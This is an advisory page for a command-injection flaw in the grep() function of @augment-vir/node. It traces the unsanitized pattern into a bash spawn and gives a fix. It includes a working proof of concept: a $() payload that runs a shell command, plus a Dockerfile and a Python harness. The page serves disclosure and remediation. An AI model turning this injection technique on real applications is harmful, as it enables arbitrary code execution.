High

augment-virShell allows Command Injection in `grep()` via Unsanitized `searchPattern`

  • Disclosed: 18.11.2026
  • Updated: 19.11.2026 10:00

Shell Command Injection in grep() via Unsanitized searchPattern

Summary

The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).

Details

Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:

ts
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),

The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:

ts
// shell.ts:98-99
const childProcess = spawn(command, {
    shell,   // defaults to 'bash' (shell.ts:92)

Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.

Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.

Data flow (source → sink):

Step Location Description
1 packages/node/src/index.ts:3 export * from './augments/fs/grep.js' — exposes grep() as a public npm API
2 packages/node/src/augments/fs/grep.ts:223-226 grep() accepts caller-controlled grepSearchPattern and grepSearchLocation
3 packages/node/src/augments/fs/grep.ts:228 searchPatterns derived from grepSearchPattern.patterns || [grepSearchPattern.pattern]
4 packages/node/src/augments/fs/grep.ts:269-314 fullCommand built as a plain shell string
5 packages/node/src/augments/fs/grep.ts:310 Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied
6 packages/node/src/augments/fs/grep.ts:320 fullCommand passed to runShellCommand
7 packages/node/src/augments/terminal/shell.ts:221-224 Forwarded to streamShellCommand
8 packages/node/src/augments/terminal/shell.ts:98-99 spawn(command, { shell: 'bash' }) executes the constructed command string

Suggested remediation:

diff
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
-    return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+    return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
 }
@@
-        ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+        ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+        '--',
         ...searchParts,

Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.

PoC

Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.

Step 1 — Build the Docker image:

bash
docker build -t augment-vir-vuln-001-poc \
  vuln-001

Step 2 — Run the exploit container:

bash
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc

Core exploit (exploit.mjs inside the container):

js
import { grep } from '@augment-vir/node';

await grep(
  { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
  { file: 'package.json' },
);

The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.

Expected output:

[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match

=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})

Minimal reproduction without Docker:

bash
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/node@31.73.2

cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
  { pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
  { file: 'package.json' },
);
EOF

rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE

Verification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. VULNERABLE and COMMAND INJECTION CONFIRMED were observed in stdout; the sentinel file /tmp/augment-vir-poc-triggered was created inside the Docker container.

Impact

This is an OS Command Injection (CWE-78) vulnerability. Any application that calls @augment-vir/node's grep() with user-controlled input in the pattern or patterns field is vulnerable to arbitrary command execution under the Node.js process's user account.

  • Confidentiality — High: An attacker can read arbitrary files accessible to the process.
  • Integrity — High: An attacker can write or delete files, install malware, or modify application data.
  • Availability — High: An attacker can terminate processes or exhaust system resources.

The attack vector is classified as Local (the attacker must control the value passed to pattern at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the grep() pattern parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.

Reproduction artifacts

Dockerfile

dockerfile
FROM node:22-slim

# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*

WORKDIR /poc

# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
    npm install @augment-vir/node@31.73.2 --save 2>&1 | tail -5

# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';

const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';

// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}

console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');

try {
  await grep(
    { pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
    { file: 'package.json' },
  );
} catch (err) {
  // grep() may throw due to no matches — that is expected and irrelevant
  console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}

if (existsSync(SENTINEL_FILE)) {
  console.log('');
  console.log('=== VULNERABLE ===');
  console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
  console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
  process.exit(0);
} else {
  console.log('');
  console.log('=== NOT EXPLOITED ===');
  console.log('[-] Sentinel file was NOT created — injection did not fire.');
  process.exit(1);
}
EOF

CMD ["node", "/poc/exploit.mjs"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/node@31.73.2

Root cause:
  packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
  using unsanitized caller-supplied searchPattern inside double quotes:
    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
  This command string is passed to spawn(command, { shell: 'bash' }), meaning
  $() command substitution in the pattern is executed by bash.

Safe usage: This PoC runs entirely inside a local Docker container.
            No external network attacks, no real credentials, no DoS.
"""

import subprocess
import sys
import os
import json

IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))

BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"


def run(cmd, **kwargs):
    """Run a shell command and return CompletedProcess."""
    print(f"[cmd] {cmd}")
    return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)


def main():
    print("=" * 60)
    print("VULN-001 PoC: Shell Command Injection in grep()")
    print("Package: @augment-vir/node@31.73.2")
    print("=" * 60)

    # Step 1: Build Docker image
    print("\n[*] Building Docker image...")
    build_result = run(BUILD_CMD, timeout=300)
    if build_result.returncode != 0:
        print("[!] Docker build FAILED")
        print(build_result.stdout[-2000:] if build_result.stdout else "")
        print(build_result.stderr[-2000:] if build_result.stderr else "")
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
            evidence=build_result.stderr[-1000:],
        )
        sys.exit(1)
    print("[+] Docker image built successfully")

    # Step 2: Run exploit container
    print("\n[*] Running exploit container...")
    run_result = run(RUN_CMD, timeout=120)

    combined_output = run_result.stdout + run_result.stderr
    print(combined_output)

    # Step 3: Evaluate result
    vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output

    if vulnerable:
        print("\n[+] PASS — Command injection confirmed inside Docker container")
        print("[+] The $() substitution in grep() pattern was executed by bash")
        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
                "sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
                "'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(0)
    else:
        print("\n[-] FAIL — exploit did not produce expected output")
        write_result(
            passed=False,
            verdict="FAIL",
            reason=(
                "컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
                "sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
            ),
            evidence=combined_output.strip()[-1500:],
        )
        sys.exit(1)


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": f"python3 {os.path.abspath(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
    with open(out_path, "w", encoding="utf-8") as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[*] Result written to {out_path}")


if __name__ == "__main__":
    main()

What to do

Upgrade @augment-vir/node to version 31.73.5 or later. Alternatively, apply the suggested remediation to escape command substitution characters (```diff --- a/packages/node/src/augments/fs/grep.ts +++ b/packages/node/src/augments/fs/grep.ts @@ -function escape(input: string) {

  • return input.replaceAll('"', String.raw\").replaceAll('\n', ''); +function shellQuote(input: string) {
  • return '${input.replaceAll("'", String.raw''').replaceAll('\n', '')}'; } @@
  •    ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
  •    ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
  •    '--',
       ...searchParts,

```) or replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @augment-vir/node < 31.73.5 31.73.5

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-78
Platform
npm
Package
@augment-vir/node
Disclosed
18.11.2026
Updated
19.11.2026 10:00

Sources and licenses · Edited or translated by DockRay; source rights and applicable licenses are retained.

OSV / GitHub Advisory Database - GHSA-xvcc-vqjv-phqh - CC BY 4.0

Vulnerability history: @augment-vir/node

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.